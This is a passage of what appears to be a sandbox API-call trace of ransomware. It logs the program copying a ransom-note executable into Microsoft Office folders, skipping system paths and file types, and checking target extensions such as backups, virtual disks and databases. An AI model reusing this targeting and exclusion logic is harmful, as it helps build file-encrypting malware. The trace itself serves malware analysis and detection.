(hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0066.204] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\MEDIA" | out: lpString1="C:\\Program Files\\Microsoft Office\\MEDIA") returned="C:\\Program Files\\Microsoft Office\\MEDIA" [0066.204] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0066.204] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\media\\how to back your files.exe"), bFailIfExists=1) returned 0 [0066.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\media\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0066.204] GetLastError () returned 0x0 [0066.204] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0066.205] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x539d08 [0066.205] ReadFile (in: hFile=0xf4, lpBuffer=0x539d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x539d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0066.205] CloseHandle (hObject=0xf4) returned 1 [0066.205] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539d08 | out: hHeap=0x4f0000) returned 1 [0066.205] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0066.206] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe88ce00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbe88ce00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0066.206] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0066.206] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0066.206] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0066.206] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe88ce00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbe88ce00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.206] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0066.206] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0066.206] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0066.206] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0066.206] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CAGCAT10", cAlternateFileName="")) returned 1 [0066.206] lstrcmpiW (lpString1="CAGCAT10", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0066.206] lstrcmpiW (lpString1="CAGCAT10", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0066.206] lstrcmpiW (lpString1="CAGCAT10", lpString2=".") returned 1 [0066.206] lstrcmpiW (lpString1="CAGCAT10", lpString2="..") returned 1 [0066.206] lstrcmpiW (lpString1="CAGCAT10", lpString2="windows") returned -1 [0066.206] lstrcmpiW (lpString1="CAGCAT10", lpString2="bootmgr") returned 1 [0066.206] lstrcmpiW (lpString1="CAGCAT10", lpString2="temp") returned -1 [0066.206] lstrcmpiW (lpString1="CAGCAT10", lpString2="pagefile.sys") returned -1 [0066.206] lstrcmpiW (lpString1="CAGCAT10", lpString2="boot") returned 1 [0066.206] lstrcmpiW (lpString1="CAGCAT10", lpString2="ids.txt") returned -1 [0066.206] lstrcmpiW (lpString1="CAGCAT10", lpString2="ntuser.dat") returned -1 [0066.206] lstrcmpiW (lpString1="CAGCAT10", lpString2="perflogs") returned -1 [0066.206] lstrcmpiW (lpString1="CAGCAT10", lpString2="MSBuild") returned -1 [0066.206] lstrlenW (lpString="CAGCAT10") returned 8 [0066.207] lstrcpyW (in: lpString1=0x241e898, lpString2="CAGCAT10" | out: lpString1="CAGCAT10") returned="CAGCAT10" [0066.207] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f748 [0066.207] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x62) returned 0x52f070 [0066.207] lstrcatW (in: lpString1="CAGCAT10", lpString2="\\" | out: lpString1="CAGCAT10\\") returned="CAGCAT10\\" [0066.207] lstrcatW (in: lpString1="CAGCAT10\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="CAGCAT10\\HOW TO BACK YOUR FILES.exe") returned="CAGCAT10\\HOW TO BACK YOUR FILES.exe" [0066.207] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\how to back your files.exe"), bFailIfExists=1) returned 1 [0066.210] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe88ce00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbe88ce00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0066.210] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0066.210] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0066.211] lstrcmpiW (lpString1="OFFICE14", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0066.211] lstrcmpiW (lpString1="OFFICE14", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0066.211] lstrcmpiW (lpString1="OFFICE14", lpString2=".") returned 1 [0066.211] lstrcmpiW (lpString1="OFFICE14", lpString2="..") returned 1 [0066.211] lstrcmpiW (lpString1="OFFICE14", lpString2="windows") returned -1 [0066.211] lstrcmpiW (lpString1="OFFICE14", lpString2="bootmgr") returned 1 [0066.211] lstrcmpiW (lpString1="OFFICE14", lpString2="temp") returned -1 [0066.211] lstrcmpiW (lpString1="OFFICE14", lpString2="pagefile.sys") returned -1 [0066.211] lstrcmpiW (lpString1="OFFICE14", lpString2="boot") returned 1 [0066.211] lstrcmpiW (lpString1="OFFICE14", lpString2="ids.txt") returned 1 [0066.211] lstrcmpiW (lpString1="OFFICE14", lpString2="ntuser.dat") returned 1 [0066.211] lstrcmpiW (lpString1="OFFICE14", lpString2="perflogs") returned -1 [0066.211] lstrcmpiW (lpString1="OFFICE14", lpString2="MSBuild") returned 1 [0066.211] lstrlenW (lpString="OFFICE14") returned 8 [0066.211] lstrcpyW (in: lpString1=0x241e898, lpString2="OFFICE14" | out: lpString1="OFFICE14") returned="OFFICE14" [0066.211] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cf00 [0066.211] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x62) returned 0x539d20 [0066.211] lstrcatW (in: lpString1="OFFICE14", lpString2="\\" | out: lpString1="OFFICE14\\") returned="OFFICE14\\" [0066.211] lstrcatW (in: lpString1="OFFICE14\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="OFFICE14\\HOW TO BACK YOUR FILES.exe") returned="OFFICE14\\HOW TO BACK YOUR FILES.exe" [0066.211] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\media\\office14\\how to back your files.exe"), bFailIfExists=1) returned 1 [0066.215] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 0 [0066.215] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0066.216] ReleaseMutex (hMutex=0xec) returned 1 [0066.216] CloseHandle (hObject=0xec) returned 1 [0066.216] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Microsoft Office\\Office14" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0066.216] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x529010 | out: hHeap=0x4f0000) returned 1 [0066.216] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f760 | out: hHeap=0x4f0000) returned 1 [0066.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14") returned 42 [0066.217] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\D6516EFF57534BF6D60DB3E94628DF45") returned 0xec [0066.217] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0066.217] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0066.217] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0066.217] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\how to back your files.exe"), bFailIfExists=1) returned 0 [0066.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0066.217] GetLastError () returned 0x0 [0066.217] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0066.217] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ad08 [0066.217] ReadFile (in: hFile=0xf4, lpBuffer=0x53ad08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ad08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0066.218] CloseHandle (hObject=0xf4) returned 1 [0066.218] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ad08 | out: hHeap=0x4f0000) returned 1 [0066.218] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0066.218] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe88ce00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbe88ce00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0066.219] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0066.219] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0066.219] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0066.219] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe88ce00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbe88ce00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.221] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0066.221] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0066.221] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0066.221] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0066.221] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdf0acac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf0acac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0066.221] lstrcmpiW (lpString1="1033", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0066.221] lstrcmpiW (lpString1="1033", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0066.221] lstrcmpiW (lpString1="1033", lpString2=".") returned 1 [0066.221] lstrcmpiW (lpString1="1033", lpString2="..") returned 1 [0066.221] lstrcmpiW (lpString1="1033", lpString2="windows") returned -1 [0066.221] lstrcmpiW (lpString1="1033", lpString2="bootmgr") returned -1 [0066.221] lstrcmpiW (lpString1="1033", lpString2="temp") returned -1 [0066.221] lstrcmpiW (lpString1="1033", lpString2="pagefile.sys") returned -1 [0066.221] lstrcmpiW (lpString1="1033", lpString2="boot") returned -1 [0066.221] lstrcmpiW (lpString1="1033", lpString2="ids.txt") returned -1 [0066.221] lstrcmpiW (lpString1="1033", lpString2="ntuser.dat") returned -1 [0066.221] lstrcmpiW (lpString1="1033", lpString2="perflogs") returned -1 [0066.221] lstrcmpiW (lpString1="1033", lpString2="MSBuild") returned -1 [0066.221] lstrlenW (lpString="1033") returned 4 [0066.221] lstrcpyW (in: lpString1=0x241e89e, lpString2="1033" | out: lpString1="1033") returned="1033" [0066.221] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f760 [0066.221] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x60) returned 0x51b9b0 [0066.221] lstrcatW (in: lpString1="1033", lpString2="\\" | out: lpString1="1033\\") returned="1033\\" [0066.221] lstrcatW (in: lpString1="1033\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="1033\\HOW TO BACK YOUR FILES.exe") returned="1033\\HOW TO BACK YOUR FILES.exe" [0066.221] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1 [0066.224] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x779e270, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x779e270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x779e270, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0066.224] lstrcmpiW (lpString1="1036", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0066.224] lstrcmpiW (lpString1="1036", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0066.224] lstrcmpiW (lpString1="1036", lpString2=".") returned 1 [0066.225] lstrcmpiW (lpString1="1036", lpString2="..") returned 1 [0066.225] lstrcmpiW (lpString1="1036", lpString2="windows") returned -1 [0066.225] lstrcmpiW (lpString1="1036", lpString2="bootmgr") returned -1 [0066.225] lstrcmpiW (lpString1="1036", lpString2="temp") returned -1 [0066.227] lstrcmpiW (lpString1="1036", lpString2="pagefile.sys") returned -1 [0066.227] lstrcmpiW (lpString1="1036", lpString2="boot") returned -1 [0066.227] lstrcmpiW (lpString1="1036", lpString2="ids.txt") returned -1 [0066.227] lstrcmpiW (lpString1="1036", lpString2="ntuser.dat") returned -1 [0066.227] lstrcmpiW (lpString1="1036", lpString2="perflogs") returned -1 [0066.227] lstrcmpiW (lpString1="1036", lpString2="MSBuild") returned -1 [0066.227] lstrlenW (lpString="1036") returned 4 [0066.228] lstrcpyW (in: lpString1=0x241e89e, lpString2="1036" | out: lpString1="1036") returned="1036" [0066.228] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ce88 [0066.228] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x60) returned 0x51b8e0 [0066.228] lstrcatW (in: lpString1="1036", lpString2="\\" | out: lpString1="1036\\") returned="1036\\" [0066.228] lstrcatW (in: lpString1="1036\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="1036\\HOW TO BACK YOUR FILES.exe") returned="1036\\HOW TO BACK YOUR FILES.exe" [0066.228] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\how to back your files.exe"), bFailIfExists=1) returned 1 [0066.231] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a4f390, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a4f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a4f390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0066.231] lstrcmpiW (lpString1="3082", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0066.231] lstrcmpiW (lpString1="3082", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0066.231] lstrcmpiW (lpString1="3082", lpString2=".") returned 1 [0066.231] lstrcmpiW (lpString1="3082", lpString2="..") returned 1 [0066.231] lstrcmpiW (lpString1="3082", lpString2="windows") returned -1 [0066.231] lstrcmpiW (lpString1="3082", lpString2="bootmgr") returned -1 [0066.231] lstrcmpiW (lpString1="3082", lpString2="temp") returned -1 [0066.231] lstrcmpiW (lpString1="3082", lpString2="pagefile.sys") returned -1 [0066.231] lstrcmpiW (lpString1="3082", lpString2="boot") returned -1 [0066.231] lstrcmpiW (lpString1="3082", lpString2="ids.txt") returned -1 [0066.231] lstrcmpiW (lpString1="3082", lpString2="ntuser.dat") returned -1 [0066.231] lstrcmpiW (lpString1="3082", lpString2="perflogs") returned -1 [0066.231] lstrcmpiW (lpString1="3082", lpString2="MSBuild") returned -1 [0066.231] lstrlenW (lpString="3082") returned 4 [0066.231] lstrcpyW (in: lpString1=0x241e89e, lpString2="3082" | out: lpString1="3082") returned="3082" [0066.231] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ce70 [0066.231] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x60) returned 0x51b878 [0066.231] lstrcatW (in: lpString1="3082", lpString2="\\" | out: lpString1="3082\\") returned="3082\\" [0066.231] lstrcatW (in: lpString1="3082\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="3082\\HOW TO BACK YOUR FILES.exe") returned="3082\\HOW TO BACK YOUR FILES.exe" [0066.231] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\how to back your files.exe"), bFailIfExists=1) returned 1 [0066.234] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x50ff7a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x1313b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACCDDS.DLL", cAlternateFileName="")) returned 1 [0066.234] lstrcmpiW (lpString1="ACCDDS.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0066.234] lstrcmpiW (lpString1="ACCDDS.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0066.234] lstrcmpiW (lpString1="ACCDDS.DLL", lpString2=".") returned 1 [0066.234] lstrcmpiW (lpString1="ACCDDS.DLL", lpString2="..") returned 1 [0066.234] lstrcmpiW (lpString1="ACCDDS.DLL", lpString2="windows") returned -1 [0066.234] lstrcmpiW (lpString1="ACCDDS.DLL", lpString2="bootmgr") returned -1 [0066.234] lstrcmpiW (lpString1="ACCDDS.DLL", lpString2="temp") returned -1 [0066.234] lstrcmpiW (lpString1="ACCDDS.DLL", lpString2="pagefile.sys") returned -1 [0066.234] lstrcmpiW (lpString1="ACCDDS.DLL", lpString2="boot") returned -1 [0066.234] lstrcmpiW (lpString1="ACCDDS.DLL", lpString2="ids.txt") returned -1 [0066.234] lstrcmpiW (lpString1="ACCDDS.DLL", lpString2="ntuser.dat") returned -1 [0066.234] lstrcmpiW (lpString1="ACCDDS.DLL", lpString2="perflogs") returned -1 [0066.234] lstrcmpiW (lpString1="ACCDDS.DLL", lpString2="MSBuild") returned -1 [0066.234] lstrlenW (lpString="ACCDDS.DLL") returned 10 [0066.234] lstrcpyW (in: lpString1=0x241e89e, lpString2="ACCDDS.DLL" | out: lpString1="ACCDDS.DLL") returned="ACCDDS.DLL" [0066.234] lstrlenW (lpString="ACCDDS.DLL") returned 10 [0066.234] lstrlenW (lpString="Athena865") returned 9 [0066.234] lstrcmpiW (lpString1="CCDDS.DLL", lpString2="Athena865") returned 1 [0066.234] lstrlenW (lpString=".dll") returned 4 [0066.235] lstrcmpiW (lpString1="ACCDDS.DLL", lpString2=".dll") returned 1 [0066.235] lstrlenW (lpString=".lnk") returned 4 [0066.235] lstrcmpiW (lpString1="ACCDDS.DLL", lpString2=".lnk") returned 1 [0066.235] lstrlenW (lpString=".ini") returned 4 [0066.235] lstrcmpiW (lpString1="ACCDDS.DLL", lpString2=".ini") returned 1 [0066.235] lstrlenW (lpString=".sys") returned 4 [0066.235] lstrcmpiW (lpString1="ACCDDS.DLL", lpString2=".sys") returned 1 [0066.235] lstrlenW (lpString="ACCDDS.DLL") returned 10 [0066.235] lstrlenW (lpString="bak") returned 3 [0066.235] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0066.235] lstrlenW (lpString="ba_") returned 3 [0066.235] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0066.235] lstrlenW (lpString="dbb") returned 3 [0066.235] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0066.235] lstrlenW (lpString="vmdk") returned 4 [0066.235] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0066.235] lstrlenW (lpString="rar") returned 3 [0066.235] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0066.235] lstrlenW (lpString="zip") returned 3 [0066.235] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0066.235] lstrlenW (lpString="tgz") returned 3 [0066.235] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0066.235] lstrlenW (lpString="vbox") returned 4 [0066.235] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0066.235] lstrlenW (lpString="vdi") returned 3 [0066.235] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0066.235] lstrlenW (lpString="vhd") returned 3 [0066.235] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0066.235] lstrlenW (lpString="vhdx") returned 4 [0066.235] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0066.235] lstrlenW (lpString="avhd") returned 4 [0066.235] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0066.236] lstrlenW (lpString="db") returned 2 [0066.236] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0066.236] lstrlenW (lpString="db2") returned 3 [0066.236] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0066.236] lstrlenW (lpString="db3") returned 3 [0066.236] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0066.236] lstrlenW (lpString="dbf") returned 3 [0066.236] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0066.236] lstrlenW (lpString="mdf") returned 3 [0066.236] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0066.236] lstrlenW (lpString="mdb") returned 3 [0066.236] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0066.236] lstrlenW (lpString="sql") returned 3 [0066.236] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0066.236] lstrlenW (lpString="sqlite") returned 6 [0066.236] lstrcmpiW (lpString1="DS.DLL", lpString2="sqlite") returned -1 [0066.236] lstrlenW (lpString="sqlite3") returned 7 